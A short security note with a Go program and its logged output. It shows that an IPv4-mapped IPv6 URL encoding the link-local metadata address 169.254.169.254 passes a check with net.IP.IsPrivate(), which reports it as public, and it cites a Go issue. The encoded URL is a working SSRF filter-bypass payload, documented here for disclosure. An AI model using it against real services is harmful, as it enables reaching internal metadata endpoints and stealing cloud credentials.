IPv6 Golang bypass

main.go

package main

import (
	"log"
	"net"
	"net/url"
)

func main() {
	input := "http%3A%2F%2F::ffff:a9fe:a9fe:0443"

	// Parse the URL
	decodedURL, err := url.QueryUnescape(input)
	if err != nil {
		log.Fatalf("Failed to decode URL: %v", err)
	}
	log.Println("Decoded URL:", decodedURL)

	parsedURL, err := url.Parse(decodedURL)
	if err != nil {
		log.Fatalf("Failed to parse URL: %v", err)
	}
	log.Println("Parsed URL:", parsedURL)

	// Resolve DNS
	ips, err := net.LookupIP(parsedURL.Host)
	if err != nil {
		log.Fatalf("DNS lookup failed: %v", err)
	}

	// Check first resolved IP
	if len(ips) > 0 {
		ip := ips[0]
		log.Printf("Resolved IP: %v\n", ip)

		// Check if private
		if ip.IsPrivate() {
			log.Println("IP is private")
		} else {
			log.Println("IP is public")
		}
	} else {
		log.Println("No IPs resolved")
	}
}

This prints:
2025/05/31 12:12:31 Decoded URL: http://::ffff:a9fe:a9fe:0443
2025/05/31 12:12:31 Parsed URL: http://::ffff:a9fe:a9fe:0443
2025/05/31 12:12:31 Resolved IP: ::ffff:a9fe:a9fe:443
2025/05/31 12:12:31 IP is public

Related issue golang/go#31024